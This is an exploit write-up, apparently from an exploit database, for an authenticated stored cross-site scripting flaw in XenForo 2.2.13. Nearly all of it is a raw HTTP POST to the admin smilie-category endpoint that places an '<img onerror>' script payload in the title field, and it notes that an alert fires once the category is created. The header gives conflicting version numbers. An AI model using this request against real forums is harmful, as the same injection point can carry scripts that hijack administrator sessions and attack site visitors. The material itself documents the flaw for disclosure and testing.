Xenforo Version 2.2.13 - Authenticated Stored XSS

# Exploit Title: Xenforo Version 2.2.13 - Authenticated Stored XSS
# Date: 2023-06-24
# Exploit Author: Furkan Karaarslan
# Category : Webapps
# Vendor Homepage: https://x.com/admin.php?smilies
# Version: 2.2.12 (REQUIRED)
# Tested on: Windows/Linux
# CVE : 

-----------------------------------------------------------------------------
Requests

POST /admin.php?smilie-categories/0/save HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?smilies/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------333176689514537912041638543422
Content-Length: 1038
Origin: http://127.0.0.1
Connection: close
Cookie: xf_csrf=aEWkQ90jbPs2RECi; xf_session=yCLGXIhbOq9bSNKAsymJPWYVvTotiofa; xf_session_admin=wlr6UqjWxCkpfjKlngAvH5t-4yGiK5mQ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfToken"

1687616851,83fd2350307156281e51b17e20fe575b
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="title"

<img src=x onerror=alert(document.domain)>
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="display_order"

1
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfRequestUri"

/admin.php?smilies/
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfWithData"

1
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfToken"

1687616849,b74724a115448b864ba2db8f89f415f5
-----------------------------333176689514537912041638543422
Content-Disposition: form-data; name="_xfResponseType"

json
-----------------------------333176689514537912041638543422--


Response: After it is created, an alert comes immediately.